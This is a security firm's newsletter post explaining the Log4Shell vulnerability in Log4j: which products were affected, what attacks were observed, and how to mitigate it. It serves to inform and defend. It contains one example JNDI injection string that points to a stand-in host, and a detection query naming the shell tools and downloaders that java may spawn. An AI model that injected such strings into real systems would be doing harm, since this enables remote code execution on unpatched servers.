BlogNews
17 DEC, 2021

The Cybersecurity Express – Issue #4

Cybourn’s very own Cybersecurity Express is once again leaving for fresh and exciting destinations. Hop aboard and journey through the latest news in cybersecurity. As usual, welcomed onboard and we are sure that you are eager to see what stops we will be making today. Everything seems to be in order, at first glance at the schedule. However, soon you start noticing something odd: most of the stops are closed for maintenance due to the same reason. How can it be that so many stations, so far apart, unrelated to each other, each serving its unique purpose, are all affected by the same faulty module? Can one module be so widely used?! Yes, and such is the case with this week’s spotlight program, Log4J!

Log4J and the Log4Shell vulnerability.

More like LogFromHell. If a couple of days ago, only a few knew about this module, now it’s the talk of the town. That is, if you haven’t been living under a rock. If you have though, don’t worry, the Cybersecurity Express will bring you up to speed, with a complete picture of the chaos from the past few days.

Before we get into the mess of it all, let’s dig into a little bit of the background, shall we?

Log4j2 is an open-source, Java-based logging framework commonly incorporated into Apache web servers and spring-Boot web applications, but also used to log events and messages generated by software applications, some of which you might have heard of. By few, we really mean an unimaginable number because we’re talking about:

  • Amazon
  • Apple iCloud
  • Cisco
  • Cloudflare
  • ElasticSearch
  • Red Hat
  • Microsoft
  • Tesla
  • Twitter
  • Minecraft
  • Apache

An extensive list on the known vulnerable applications is listed by the Dutch National Cyber Security Centre, in its GitHub repository, and believe me, it is quite a long scroll to get to the bottom.

Signs of exploitation attempts and weaponization began to surface ten days before the vulnerability came to light, and since then, we have seen attackers exercising cryptocurrency miners, Cobalt Strike drops, ransomware, and botnet recruitment. “Earliest evidence we’ve found so far of Log4j exploit is 2021-12-01 04:36:50 UTC… However, we don’t see evidence of mass exploitation until after public disclosure.” researchers said. It is impossible to say for certain when this was first exploited, but the danger of JNDI lookups was mentioned in Blackhat talk all the way back in 2016, and somehow went under the radar, and, since the Apache Log4j 2.0-beta9 release was on September 21 2013, it is possible that a witty actor discovered this soon after.

Dubbed Log4Shell, CVE-2021-44228 has a CVSS score of a “perfect” 10, and that’s as high as they go. That score is due to the widespread use of the program and the relative ease with which the exploit can be applied, allowing remote code execution in Log4j versions 2.0-beta9 up to 2.14.1.

What makes this exploit so easy?

JNDI (Java Naming and Directory Interface) and LDAP  can be used together by a Java program to locate a Java JNDIObject from an LDAP server operating on the same computer (localhost) on port 389 and reads attributes from it using the URL ldap:/localhost:389/o=JNDIObject. An attacker can control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap:/payload.com/a} resulting in a connection to payload.com and retrieve the object. And, because of how Log4j is built, all it takes to leverage the vulnerability is to send a specially crafted string containing the malicious code that gets logged by Log4j version 2.0 or higher. We used LDAP for this example but it can work with either LDAP, RMI or DNS.

Image rights go to govcert.ch

What are the attackers after?

“The bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers,” Microsoft 365 Defender Threat Intelligence Team said. “Based on the nature of the vulnerability, once the attacker has full access and control of an application, they can perform a myriad of objectives.” A group of attackers managed to remote code execute (RCE) and download a .NET binary, from a remote server, that encrypts all the files with the extension “.khonsari” and displays a ransom note that urges the victims to make a Bitcoin payment in exchange for recovering access to the files.

It’s hard to say what the end goal is here, and it is just as hard to compile a list of IOCs, because hackers are taking a spray-and-pray approach just to wreak havoc. “This vulnerability is extremely bad. Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string,” Security expert Marcus Hutchins tweetd. The overall scale of this is hard to grasp, but measures like the Cybersecurity and Infrastructure Security Agency (CISA) giving federal agencies an ultimatum to patch systems against the critical vulnerability, and the fact that Ingenuity (NASA’s helicopter mission on Mars) is susceptible to this exploit, kid of puts it in perspective. Oh, and by the way, this last-mentioned fact, makes this the first interplanetary exploit… probably. Despite that, researchers had been hard at work compiling list of checks, GitHub repositories, and tools you can use to see if you are vulnerable, apply workarounds to mitigate the attack or find traces of exploit.

What can you do?

If your organization uses the log4j library, upgrade to log4j-2.16.0 immediately. You should also be sure that your Java instance is updated. From Log4j 2.15.0 on, this behavior has been disabled by default. To make things worse, the release of the patched version, came with news of another vulnerability CVE-2021-45046 revealing that the module is also prone to a denial of service attack, which attackers are now also exploiting. Also, consult the Git repositories to see what helps, check the list of affected vendors and apply the latest patches particular to each software, should they be released. If, for any reason, you are unable to update, you could:

  • Add “log4j.format.msg.nolookups=true” to the global configuration of your server/web applications for temporary mitigation.
  • Remove the JndiLookup and JndiManager classes from the log4j-core jar. Removal of the JndiManager will cause the JndiContextSelector and JMSAppender to no longer function.
  • Scout for unusual connections and commands done by java. Check destinations for malicious nature: process.parent.name : “java” and process.name: (“sh”,”bash”,”dash”,”ksh”,”tcsh”,”zsh”,”curl”,”perl*”,”python*”,”ruby*”,”php*”,”wget”)

As this ride onboard the Cybersecurity Express draws to an end, you feel relieved and now are better prepared to face Log4Shell exploit. This is indeed a subject worthy of the entire attention it’s getting. We bid you goodbye humbly await your return onboard. 

Share

We Also Recommend to See:

EtherLast
The versatile platform that allows you to promptly detect complex threats, analyse and respond to them from a single pane of glass.
Dreamlab
CyBourn's DreamLab pushes the boundaries of innovation in the cyberspace.

Tell us about your Cybersecurity needs

We are strategists, engineers, analysts, and governance experts embedded in the world’s biggest cyber missions and trusted to advance them. Let us help you today.